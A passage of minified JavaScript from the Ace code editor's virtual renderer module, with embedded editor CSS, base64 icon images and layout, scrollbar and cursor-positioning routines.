m=t,p=d[0]*m[0]/u+d[1]*m[1]/u+1,v=s(o(m[0],g),o(m[1],f));return s(o(1/p/u,v),a)}var w=n(e,a),$=i(n(g,o(d[0],w)),n(f,o(d[1],w)),w);return o(u,$)}}).call(d.prototype)})),define("ace/virtual_renderer",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/config","ace/layer/gutter","ace/layer/marker","ace/layer/text","ace/layer/cursor","ace/scrollbar","ace/scrollbar","ace/renderloop","ace/layer/font_metrics","ace/lib/event_emitter","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/dom"),o=e("./config"),r=e("./layer/gutter").Gutter,a=e("./layer/marker").Marker,l=e("./layer/text").Text,h=e("./layer/cursor").Cursor,c=e("./scrollbar").HScrollBar,u=e("./scrollbar").VScrollBar,d=e("./renderloop").RenderLoop,g=e("./layer/font_metrics").FontMetrics,f=e("./lib/event_emitter").EventEmitter,m='.ace_br1 {border-top-left-radius : 3px;}.ace_br2 {border-top-right-radius : 3px;}.ace_br3 {border-top-left-radius : 3px; border-top-right-radius: 3px;}.ace_br4 {border-bottom-right-radius: 3px;}.ace_br5 {border-top-left-radius : 3px; border-bottom-right-radius: 3px;}.ace_br6 {border-top-right-radius : 3px; border-bottom-right-radius: 3px;}.ace_br7 {border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px;}.ace_br8 {border-bottom-left-radius : 3px;}.ace_br9 {border-top-left-radius : 3px; border-bottom-left-radius: 3px;}.ace_br10{border-top-right-radius : 3px; border-bottom-left-radius: 3px;}.ace_br11{border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br12{border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br13{border-top-left-radius : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br14{border-top-right-radius : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br15{border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_editor {position: relative;overflow: hidden;padding: 0;font: 12px/normal \'Monaco\', \'Menlo\', \'Ubuntu Mono\', \'Consolas\', \'source-code-pro\', monospace;direction: ltr;text-align: left;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);}.ace_scroller {position: absolute;overflow: hidden;top: 0;bottom: 0;background-color: inherit;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;cursor: text;}.ace_content {position: absolute;box-sizing: border-box;min-width: 100%;contain: style size layout;font-variant-ligatures: no-common-ligatures;}.ace_dragging .ace_scroller:before{position: absolute;top: 0;left: 0;right: 0;bottom: 0;content: \'\';background: rgba(250, 250, 250, 0.01);z-index: 1000;}.ace_dragging.ace_dark .ace_scroller:before{background: rgba(0, 0, 0, 0.01);}.ace_gutter {position: absolute;overflow : hidden;width: auto;top: 0;bottom: 0;left: 0;cursor: default;z-index: 4;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;contain: style size layout;}.ace_gutter-active-line {position: absolute;left: 0;right: 0;}.ace_scroller.ace_scroll-left {box-shadow: 17px 0 16px -16px rgba(0, 0, 0, 0.4) inset;}.ace_gutter-cell {position: absolute;top: 0;left: 0;right: 0;padding-left: 19px;padding-right: 6px;background-repeat: no-repeat;}.ace_gutter-cell.ace_error {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAABOFBMVEX/////////QRswFAb/Ui4wFAYwFAYwFAaWGAfDRymzOSH/PxswFAb/SiUwFAYwFAbUPRvjQiDllog5HhHdRybsTi3/Tyv9Tir+Syj/UC3////XurebMBIwFAb/RSHbPx/gUzfdwL3kzMivKBAwFAbbvbnhPx66NhowFAYwFAaZJg8wFAaxKBDZurf/RB6mMxb/SCMwFAYwFAbxQB3+RB4wFAb/Qhy4Oh+4QifbNRcwFAYwFAYwFAb/QRzdNhgwFAYwFAbav7v/Uy7oaE68MBK5LxLewr/r2NXewLswFAaxJw4wFAbkPRy2PyYwFAaxKhLm1tMwFAazPiQwFAaUGAb/QBrfOx3bvrv/VC/maE4wFAbRPBq6MRO8Qynew8Dp2tjfwb0wFAbx6eju5+by6uns4uH9/f36+vr/GkHjAAAAYnRSTlMAGt+64rnWu/bo8eAA4InH3+DwoN7j4eLi4xP99Nfg4+b+/u9B/eDs1MD1mO7+4PHg2MXa347g7vDizMLN4eG+Pv7i5evs/v79yu7S3/DV7/498Yv24eH+4ufQ3Ozu/v7+y13sRqwAAADLSURBVHjaZc/XDsFgGIBhtDrshlitmk2IrbHFqL2pvXf/+78DPokj7+Fz9qpU/9UXJIlhmPaTaQ6QPaz0mm+5gwkgovcV6GZzd5JtCQwgsxoHOvJO15kleRLAnMgHFIESUEPmawB9ngmelTtipwwfASilxOLyiV5UVUyVAfbG0cCPHig+GBkzAENHS0AstVF6bacZIOzgLmxsHbt2OecNgJC83JERmePUYq8ARGkJx6XtFsdddBQgZE2nPR6CICZhawjA4Fb/chv+399kfR+MMMDGOQAAAABJRU5ErkJggg==");background-repeat: no-repeat;background-position: 2px center;}.ace_gutter-cell.ace_warning {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAmVBMVEX///8AAAD///8AAAAAAABPSzb/5sAAAAB/blH/73z/ulkAAAAAAAD85pkAAAAAAAACAgP/vGz/rkDerGbGrV7/pkQICAf////e0IsAAAD/oED/qTvhrnUAAAD/yHD/njcAAADuv2r/nz//oTj/p064oGf/zHAAAAA9Nir/tFIAAAD/tlTiuWf/tkIAAACynXEAAAAAAAAtIRW7zBpBAAAAM3RSTlMAABR1m7RXO8Ln31Z36zT+neXe5OzooRDfn+TZ4p3h2hTf4t3k3ucyrN1K5+Xaks52Sfs9CXgrAAAAjklEQVR42o3PbQ+CIBQFYEwboPhSYgoYunIqqLn6/z8uYdH8Vmdnu9vz4WwXgN/xTPRD2+sgOcZjsge/whXZgUaYYvT8QnuJaUrjrHUQreGczuEafQCO/SJTufTbroWsPgsllVhq3wJEk2jUSzX3CUEDJC84707djRc5MTAQxoLgupWRwW6UB5fS++NV8AbOZgnsC7BpEAAAAABJRU5ErkJggg==");background-position: 2px center;}.ace_gutter-cell.ace_info {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAAAAAA6mKC9AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAAJ0Uk5TAAB2k804AAAAPklEQVQY02NgIB68QuO3tiLznjAwpKTgNyDbMegwisCHZUETUZV0ZqOquBpXj2rtnpSJT1AEnnRmL2OgGgAAIKkRQap2htgAAAAASUVORK5CYII=");background-position: 2px center;}.ace_dark .ace_gutter-cell.ace_info {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAJFBMVEUAAAChoaGAgIAqKiq+vr6tra1ZWVmUlJSbm5s8PDxubm56enrdgzg3AAAAAXRSTlMAQObYZgAAAClJREFUeNpjYMAPdsMYHegyJZFQBlsUlMFVCWUYKkAZMxZAGdxlDMQBAG+TBP4B6RyJAAAAAElFTkSuQmCC");}.ace_scrollbar {contain: strict;position: absolute;right: 0;bottom: 0;z-index: 6;}.ace_scrollbar-inner {position: absolute;cursor: text;left: 0;top: 0;}.ace_scrollbar-v{overflow-x: hidden;overflow-y: scroll;top: 0;}.ace_scrollbar-h {overflow-x: scroll;overflow-y: hidden;left: 0;}.ace_print-margin {position: absolute;height: 100%;}.ace_text-input {position: absolute;z-index: 0;width: 0.5em;height: 1em;opacity: 0;background: transparent;-moz-appearance: none;appearance: none;border: none;resize: none;outline: none;overflow: hidden;font: inherit;padding: 0 1px;margin: 0 -1px;contain: strict;-ms-user-select: text;-moz-user-select: text;-webkit-user-select: text;user-select: text;white-space: pre!important;}.ace_text-input.ace_composition {background: transparent;color: inherit;z-index: 1000;opacity: 1;}.ace_composition_placeholder { color: transparent }.ace_composition_marker { border-bottom: 1px solid;position: absolute;border-radius: 0;margin-top: 1px;}[ace_nocontext=true] {transform: none!important;filter: none!important;clip-path: none!important;mask : none!important;contain: none!important;perspective: none!important;mix-blend-mode: initial!important;z-index: auto;}.ace_layer {z-index: 1;position: absolute;overflow: hidden;word-wrap: normal;white-space: pre;height: 100%;width: 100%;box-sizing: border-box;pointer-events: none;}.ace_gutter-layer {position: relative;width: auto;text-align: right;pointer-events: auto;height: 1000000px;contain: style size layout;}.ace_text-layer {font: inherit !important;position: absolute;height: 1000000px;width: 1000000px;contain: style size layout;}.ace_text-layer > .ace_line, .ace_text-layer > .ace_line_group {contain: style size layout;position: absolute;top: 0;left: 0;right: 0;}.ace_hidpi .ace_text-layer,.ace_hidpi .ace_gutter-layer,.ace_hidpi .ace_content,.ace_hidpi .ace_gutter {contain: strict;will-change: transform;}.ace_hidpi .ace_text-layer > .ace_line, .ace_hidpi .ace_text-layer > .ace_line_group {contain: strict;}.ace_cjk {display: inline-block;text-align: center;}.ace_cursor-layer {z-index: 4;}.ace_cursor {z-index: 4;position: absolute;box-sizing: border-box;border-left: 2px solid;transform: translatez(0);}.ace_multiselect .ace_cursor {border-left-width: 1px;}.ace_slim-cursors .ace_cursor {border-left-width: 1px;}.ace_overwrite-cursors .ace_cursor {border-left-width: 0;border-bottom: 1px solid;}.ace_hidden-cursors .ace_cursor {opacity: 0.2;}.ace_hasPlaceholder .ace_hidden-cursors .ace_cursor {opacity: 0;}.ace_smooth-blinking .ace_cursor {transition: opacity 0.18s;}.ace_animate-blinking .ace_cursor {animation-duration: 1000ms;animation-timing-function: step-end;animation-name: blink-ace-animate;animation-iteration-count: infinite;}.ace_animate-blinking.ace_smooth-blinking .ace_cursor {animation-duration: 1000ms;animation-timing-function: ease-in-out;animation-name: blink-ace-animate-smooth;}@keyframes blink-ace-animate {from, to { opacity: 1; }60% { opacity: 0; }}@keyframes blink-ace-animate-smooth {from, to { opacity: 1; }45% { opacity: 1; }60% { opacity: 0; }85% { opacity: 0; }}.ace_marker-layer .ace_step, .ace_marker-layer .ace_stack {position: absolute;z-index: 3;}.ace_marker-layer .ace_selection {position: absolute;z-index: 5;}.ace_marker-layer .ace_bracket {position: absolute;z-index: 6;}.ace_marker-layer .ace_error_bracket {position: absolute;border-bottom: 1px solid #DE5555;border-radius: 0;}.ace_marker-layer .ace_active-line {position: absolute;z-index: 2;}.ace_marker-layer .ace_selected-word {position: absolute;z-index: 4;box-sizing: border-box;}.ace_line .ace_fold {box-sizing: border-box;display: inline-block;height: 11px;margin-top: -2px;vertical-align: middle;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII="),url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACJJREFUeNpi+P//fxgTAwPDBxDxD078RSX+YeEyDFMCIMAAI3INmXiwf2YAAAAASUVORK5CYII=");background-repeat: no-repeat, repeat-x;background-position: center center, top left;color: transparent;border: 1px solid black;border-radius: 2px;cursor: pointer;pointer-events: auto;}.ace_dark .ace_fold {}.ace_fold:hover{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII="),url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACBJREFUeNpi+P//fz4TAwPDZxDxD5X4i5fLMEwJgAADAEPVDbjNw87ZAAAAAElFTkSuQmCC");}.ace_tooltip {background-color: #FFF;background-image: linear-gradient(to bottom, transparent, rgba(0, 0, 0, 0.1));border: 1px solid gray;border-radius: 1px;box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);color: black;max-width: 100%;padding: 3px 4px;position: fixed;z-index: 999999;box-sizing: border-box;cursor: default;white-space: pre;word-wrap: break-word;line-height: normal;font-style: normal;font-weight: normal;letter-spacing: normal;pointer-events: none;}.ace_folding-enabled > .ace_gutter-cell {padding-right: 13px;}.ace_fold-widget {box-sizing: border-box;margin: 0 -12px 0 1px;display: none;width: 11px;vertical-align: top;background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42mWKsQ0AMAzC8ixLlrzQjzmBiEjp0A6WwBCSPgKAXoLkqSot7nN3yMwR7pZ32NzpKkVoDBUxKAAAAABJRU5ErkJggg==");background-repeat: no-repeat;background-position: center;border-radius: 3px;border: 1px solid transparent;cursor: pointer;}.ace_folding-enabled .ace_fold-widget {display: inline-block; }.ace_fold-widget.ace_end {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42m3HwQkAMAhD0YzsRchFKI7sAikeWkrxwScEB0nh5e7KTPWimZki4tYfVbX+MNl4pyZXejUO1QAAAABJRU5ErkJggg==");}.ace_fold-widget.ace_closed {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAGCAYAAAAG5SQMAAAAOUlEQVR42jXKwQkAMAgDwKwqKD4EwQ26sSOkVWjgIIHAzPiCgaqiqnJHZnKICBERHN194O5b9vbLuAVRL+l0YWnZAAAAAElFTkSuQmCCXA==");}.ace_fold-widget:hover {border: 1px solid rgba(0, 0, 0, 0.3);background-color: rgba(255, 255, 255, 0.2);box-shadow: 0 1px 1px rgba(255, 255, 255, 0.7);}.ace_fold-widget:active {border: 1px solid rgba(0, 0, 0, 0.4);background-color: rgba(0, 0, 0, 0.05);box-shadow: 0 1px 1px rgba(255, 255, 255, 0.8);}.ace_dark .ace_fold-widget {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHklEQVQIW2P4//8/AzoGEQ7oGCaLLAhWiSwB146BAQCSTPYocqT0AAAAAElFTkSuQmCC");}.ace_dark .ace_fold-widget.ace_end {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAH0lEQVQIW2P4//8/AxQ7wNjIAjDMgC4AxjCVKBirIAAF0kz2rlhxpAAAAABJRU5ErkJggg==");}.ace_dark .ace_fold-widget.ace_closed {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAFCAYAAACAcVaiAAAAHElEQVQIW2P4//+/AxAzgDADlOOAznHAKgPWAwARji8UIDTfQQAAAABJRU5ErkJggg==");}.ace_dark .ace_fold-widget:hover {box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);background-color: rgba(255, 255, 255, 0.1);}.ace_dark .ace_fold-widget:active {box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);}.ace_inline_button {border: 1px solid lightgray;display: inline-block;margin: -1px 8px;padding: 0 5px;pointer-events: auto;cursor: pointer;}.ace_inline_button:hover {border-color: gray;background: rgba(200,200,200,0.2);display: inline-block;pointer-events: auto;}.ace_fold-widget.ace_invalid {background-color: #FFB4B4;border-color: #DE5555;}.ace_fade-fold-widgets .ace_fold-widget {transition: opacity 0.4s ease 0.05s;opacity: 0;}.ace_fade-fold-widgets:hover .ace_fold-widget {transition: opacity 0.05s ease 0.05s;opacity:1;}.ace_underline {text-decoration: underline;}.ace_bold {font-weight: bold;}.ace_nobold .ace_bold {font-weight: normal;}.ace_italic {font-style: italic;}.ace_error-marker {background-color: rgba(255, 0, 0,0.2);position: absolute;z-index: 9;}.ace_highlight-marker {background-color: rgba(255, 255, 0,0.2);position: absolute;z-index: 8;}.ace_mobile-menu {position: absolute;line-height: 1.5;border-radius: 4px;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;background: white;box-shadow: 1px 3px 2px grey;border: 1px solid #dcdcdc;color: black;}.ace_dark > .ace_mobile-menu {background: #333;color: #ccc;box-shadow: 1px 3px 2px grey;border: 1px solid #444;}.ace_mobile-button {padding: 2px;cursor: pointer;overflow: hidden;}.ace_mobile-button:hover {background-color: #eee;opacity:1;}.ace_mobile-button:active {background-color: #ddd;}.ace_placeholder {font-family: arial;transform: scale(0.9);transform-origin: left;white-space: pre;opacity: 0.7;margin: 0 10px;}',p=e("./lib/useragent"),v=p.isIE;s.importCssString(m,"ace_editor.css",!1);var w=function(e,t){var i=this;this.container=e||s.createElement("div"),s.addCssClass(this.container,"ace_editor"),s.HI_DPI&&s.addCssClass(this.container,"ace_hidpi"),this.setTheme(t),null==o.get("useStrictCSP")&&o.set("useStrictCSP",!1),this.$gutter=s.createElement("div"),this.$gutter.className="ace_gutter",this.container.appendChild(this.$gutter),this.$gutter.setAttribute("aria-hidden",!0),this.scroller=s.createElement("div"),this.scroller.className="ace_scroller",this.container.appendChild(this.scroller),this.content=s.createElement("div"),this.content.className="ace_content",this.scroller.appendChild(this.content),this.$gutterLayer=new r(this.$gutter),this.$gutterLayer.on("changeGutterWidth",this.onGutterResize.bind(this)),this.$markerBack=new a(this.content);var n=this.$textLayer=new l(this.content);this.canvas=n.element,this.$markerFront=new a(this.content),this.$cursorLayer=new h(this.content),this.$horizScroll=!1,this.$vScroll=!1,this.scrollBar=this.scrollBarV=new u(this.container,this),this.scrollBarH=new c(this.container,this),this.scrollBarV.on("scroll",(function(e){i.$scrollAnimation||i.session.setScrollTop(e.data-i.scrollMargin.top)})),this.scrollBarH.on("scroll",(function(e){i.$scrollAnimation||i.session.setScrollLeft(e.data-i.scrollMargin.left)})),this.scrollTop=0,this.scrollLeft=0,this.cursorPos={row:0,column:0},this.$fontMetrics=new g(this.container),this.$textLayer.$setFontMetrics(this.$fontMetrics),this.$textLayer.on("changeCharacterSize",(function(e){i.updateCharacterSize(),i.onResize(!0,i.gutterWidth,i.$size.width,i.$size.height),i._signal("changeCharacterSize",e)})),this.$size={width:0,height:0,scrollerHeight:0,scrollerWidth:0,$dirty:!0},this.layerConfig={width:1,padding:0,firstRow:0,firstRowScreen:0,lastRow:0,lineHeight:0,characterWidth:0,minHeight:1,maxHeight:1,offset:0,height:1,gutterOffset:1},this.scrollMargin={left:0,right:0,top:0,bottom:0,v:0,h:0},this.margin={left:0,right:0,top:0,bottom:0,v:0,h:0},this.$keepTextAreaAtCursor=!p.isIOS,this.$loop=new d(this.$renderChanges.bind(this),this.container.ownerDocument.defaultView),this.$loop.schedule(this.CHANGE_FULL),this.updateCharacterSize(),this.setPadding(4),o.resetOptions(this),o._signal("renderer",this)};(function(){this.CHANGE_CURSOR=1,this.CHANGE_MARKER=2,this.CHANGE_GUTTER=4,this.CHANGE_SCROLL=8,this.CHANGE_LINES=16,this.CHANGE_TEXT=32,this.CHANGE_SIZE=64,this.CHANGE_MARKER_BACK=128,this.CHANGE_MARKER_FRONT=256,this.CHANGE_FULL=512,this.CHANGE_H_SCROLL=1024,n.implement(this,f),this.updateCharacterSize=function(){this.$textLayer.allowBoldFonts!=this.$allowBoldFonts&&(this.$allowBoldFonts=this.$textLayer.allowBoldFonts,this.setStyle("ace_nobold",!this.$allowBoldFonts)),this.layerConfig.characterWidth=this.characterWidth=this.$textLayer.getCharacterWidth(),this.layerConfig.lineHeight=this.lineHeight=this.$textLayer.getLineHeight(),this.$updatePrintMargin(),s.setStyle(this.scroller.style,"line-height",this.lineHeight+"px")},this.setSession=function(e){this.session&&this.session.doc.off("changeNewLineMode",this.onChangeNewLineMode),this.session=e,e&&this.scrollMargin.top&&e.getScrollTop()<=0&&e.setScrollTop(-this.scrollMargin.top),this.$cursorLayer.setSession(e),this.$markerBack.setSession(e),this.$markerFront.setSession(e),this.$gutterLayer.setSession(e),this.$textLayer.setSession(e),e&&(this.$loop.schedule(this.CHANGE_FULL),this.session.$setFontMetrics(this.$fontMetrics),this.scrollBarH.scrollLeft=this.scrollBarV.scrollTop=null,this.onChangeNewLineMode=this.onChangeNewLineMode.bind(this),this.onChangeNewLineMode(),this.session.doc.on("changeNewLineMode",this.onChangeNewLineMode))},this.updateLines=function(e,t,i){if(void 0===t&&(t=1/0),this.$changedLines?(this.$changedLines.firstRow>e&&(this.$changedLines.firstRow=e),this.$changedLines.lastRowthis.layerConfig.lastRow||this.$loop.schedule(this.CHANGE_LINES)},this.onChangeNewLineMode=function(){this.$loop.schedule(this.CHANGE_TEXT),this.$textLayer.$updateEolChar(),this.session.$bidiHandler.setEolChar(this.$textLayer.EOL_CHAR)},this.onChangeTabSize=function(){this.$loop.schedule(this.CHANGE_TEXT|this.CHANGE_MARKER),this.$textLayer.onChangeTabSize()},this.updateText=function(){this.$loop.schedule(this.CHANGE_TEXT)},this.updateFull=function(e){e?this.$renderChanges(this.CHANGE_FULL,!0):this.$loop.schedule(this.CHANGE_FULL)},this.updateFontSize=function(){this.$textLayer.checkForSizeChanges()},this.$changes=0,this.$updateSizeAsync=function(){this.$loop.pending?this.$size.$dirty=!0:this.onResize()},this.onResize=function(e,t,i,n){if(!(this.resizing>2)){this.resizing>0?this.resizing++:this.resizing=e?1:0;var s=this.container;n||(n=s.clientHeight||s.scrollHeight),i||(i=s.clientWidth||s.scrollWidth);var o=this.$updateCachedSize(e,t,i,n);if(!this.$size.scrollerHeight||!i&&!n)return this.resizing=0;e&&(this.$gutterLayer.$padding=null),e?this.$renderChanges(o|this.$changes,!0):this.$loop.schedule(o|this.$changes),this.resizing&&(this.resizing=0),this.scrollBarH.scrollLeft=this.scrollBarV.scrollTop=null}},this.$updateCachedSize=function(e,t,i,n){n-=this.$extraHeight||0;var o=0,r=this.$size,a={width:r.width,height:r.height,scrollerHeight:r.scrollerHeight,scrollerWidth:r.scrollerWidth};if(n&&(e||r.height!=n)&&(r.height=n,o|=this.CHANGE_SIZE,r.scrollerHeight=r.height,this.$horizScroll&&(r.scrollerHeight-=this.scrollBarH.getHeight()),this.scrollBarV.element.style.bottom=this.scrollBarH.getHeight()+"px",o|=this.CHANGE_SCROLL),i&&(e||r.width!=i)){o|=this.CHANGE_SIZE,r.width=i,null==t&&(t=this.$showGutter?this.$gutter.offsetWidth:0),this.gutterWidth=t,s.setStyle(this.scrollBarH.element.style,"left",t+"px"),s.setStyle(this.scroller.style,"left",t+this.margin.left+"px"),r.scrollerWidth=Math.max(0,i-t-this.scrollBarV.getWidth()-this.margin.h),s.setStyle(this.$gutter.style,"left",this.margin.left+"px");var l=this.scrollBarV.getWidth()+"px";s.setStyle(this.scrollBarH.element.style,"right",l),s.setStyle(this.scroller.style,"right",l),s.setStyle(this.scroller.style,"bottom",this.scrollBarH.getHeight()),(this.session&&this.session.getUseWrapMode()&&this.adjustWrapLimit()||e)&&(o|=this.CHANGE_FULL)}return r.$dirty=!i||!n,o&&this._signal("resize",a),o},this.onGutterResize=function(e){var t=this.$showGutter?e:0;t!=this.gutterWidth&&(this.$changes|=this.$updateCachedSize(!0,t,this.$size.width,this.$size.height)),this.session.getUseWrapMode()&&this.adjustWrapLimit()||this.$size.$dirty?this.$loop.schedule(this.CHANGE_FULL):this.$computeLayerConfig()},this.adjustWrapLimit=function(){var e=this.$size.scrollerWidth-2*this.$padding,t=Math.floor(e/this.characterWidth);return this.session.adjustWrapLimit(t,this.$showPrintMargin&&this.$printMarginColumn)},this.setAnimatedScroll=function(e){this.setOption("animatedScroll",e)},this.getAnimatedScroll=function(){return this.$animatedScroll},this.setShowInvisibles=function(e){this.setOption("showInvisibles",e),this.session.$bidiHandler.setShowInvisibles(e)},this.getShowInvisibles=function(){return this.getOption("showInvisibles")},this.getDisplayIndentGuides=function(){return this.getOption("displayIndentGuides")},this.setDisplayIndentGuides=function(e){this.setOption("displayIndentGuides",e)},this.setShowPrintMargin=function(e){this.setOption("showPrintMargin",e)},this.getShowPrintMargin=function(){return this.getOption("showPrintMargin")},this.setPrintMarginColumn=function(e){this.setOption("printMarginColumn",e)},this.getPrintMarginColumn=function(){return this.getOption("printMarginColumn")},this.getShowGutter=function(){return this.getOption("showGutter")},this.setShowGutter=function(e){return this.setOption("showGutter",e)},this.getFadeFoldWidgets=function(){return this.getOption("fadeFoldWidgets")},this.setFadeFoldWidgets=function(e){this.setOption("fadeFoldWidgets",e)},this.setHighlightGutterLine=function(e){this.setOption("highlightGutterLine",e)},this.getHighlightGutterLine=function(){return this.getOption("highlightGutterLine")},this.$updatePrintMargin=function(){if(this.$showPrintMargin||this.$printMarginEl){if(!this.$printMarginEl){var e=s.createElement("div");e.className="ace_layer ace_print-margin-layer",this.$printMarginEl=s.createElement("div"),this.$printMarginEl.className="ace_print-margin",e.appendChild(this.$printMarginEl),this.content.insertBefore(e,this.content.firstChild)}var t=this.$printMarginEl.style;t.left=Math.round(this.characterWidth*this.$printMarginColumn+this.$padding)+"px",t.visibility=this.$showPrintMargin?"visible":"hidden",this.session&&-1==this.session.$wrap&&this.adjustWrapLimit()}},this.getContainerElement=function(){return this.container},this.getMouseEventTarget=function(){return this.scroller},this.getTextAreaContainer=function(){return this.container},this.$moveTextAreaToCursor=function(){if(!this.$isMousePressed){var e=this.textarea.style,t=this.$composition;if(this.$keepTextAreaAtCursor||t){var i=this.$cursorLayer.$pixelPos;if(i){t&&t.markerRange&&(i=this.$cursorLayer.getPixelPosition(t.markerRange.start,!0));var n=this.layerConfig,o=i.top,r=i.left;o-=n.offset;var a=t&&t.useTextareaForIME?this.lineHeight:v?0:1;if(o<0||o>n.height-a)s.translate(this.textarea,0,0);else{var l=1,h=this.$size.height-a;if(t)if(t.useTextareaForIME){var c=this.textarea.value;l=this.characterWidth*this.session.$getStringScreenWidth(c)[0]}else o+=this.lineHeight+2;else o+=this.lineHeight;(r-=this.scrollLeft)>this.$size.scrollerWidth-l&&(r=this.$size.scrollerWidth-l),r+=this.gutterWidth+this.margin.left,s.setStyle(e,"height",a+"px"),s.setStyle(e,"width",l+"px"),s.translate(this.textarea,Math.min(r,this.$size.scrollerWidth-l),Math.min(o,h))}}}else s.translate(this.textarea,-100,0)}},this.getFirstVisibleRow=function(){return this.layerConfig.firstRow},this.getFirstFullyVisibleRow=function(){return this.layerConfig.firstRow+(0===this.layerConfig.offset?0:1)},this.getLastFullyVisibleRow=function(){var e=this.layerConfig,t=e.lastRow;return this.session.documentToScreenRow(t,0)*e.lineHeight-this.session.getScrollTop()>e.height-e.lineHeight?t-1:t},this.getLastVisibleRow=function(){return this.layerConfig.lastRow},this.$padding=null,this.setPadding=function(e){this.$padding=e,this.$textLayer.setPadding(e),this.$cursorLayer.setPadding(e),this.$markerFront.setPadding(e),this.$markerBack.setPadding(e),this.$loop.schedule(this.CHANGE_FULL),this.$updatePrintMargin()},this.setScrollMargin=function(e,t,i,n){var s=this.scrollMargin;s.top=0|e,s.bottom=0|t,s.right=0|n,s.left=0|i,s.v=s.top+s.bottom,s.h=s.left+s.right,s.top&&this.scrollTop<=0&&this.session&&this.session.setScrollTop(-s.top),this.updateFull()},this.setMargin=function(e,t,i,n){var s=this.margin;s.top=0|e,s.bottom=0|t,s.right=0|n,s.left=0|i,s.v=s.top+s.bottom,s.h=s.left+s.right,this.$updateCachedSize(!0,this.gutterWidth,this.$size.width,this.$size.height),this.updateFull()},this.getHScrollBarAlwaysVisible=function(){return this.$hScrollBarAlwaysVisible},this.setHScrollBarAlwaysVisible=function(e){this.setOption("hScrollBarAlwaysVisible",e)},this.getVScrollBarAlwaysVisible=function(){return this.$vScrollBarAlwaysVisible},this.setVScrollBarAlwaysVisible=function(e){this.setOption("vScrollBarAlwaysVisible",e)},this.$updateScrollBarV=function(){var e=this.layerConfig.maxHeight,t=this.$size.scrollerHeight;!this.$maxLines&&this.$scrollPastEnd&&(e-=(t-this.lineHeight)*this.$scrollPastEnd,this.scrollTop>e-t&&(e=this.scrollTop+t,this.scrollBarV.scrollTop=null)),this.scrollBarV.setScrollHeight(e+this.scrollMargin.v),this.scrollBarV.setScrollTop(this.scrollTop+this.scrollMargin.top)},this.$updateScrollBarH=function(){this.scrollBarH.setScrollWidth(this.layerConfig.width+2*this.$padding+this.scrollMargin.h),this.scrollBarH.setScrollLeft(this.scrollLeft+this.scrollMargin.left)},this.$frozen=!1,this.freeze=function(){this.$frozen=!0},this.unfreeze=function(){this.$frozen=!1},this.$renderChanges=function(e,t){if(this.$changes&&(e|=this.$changes,this.$changes=0),this.session&&this.container.offsetWidth&&!this.$frozen&&(e||t)){if(this.$size.$dirty)return 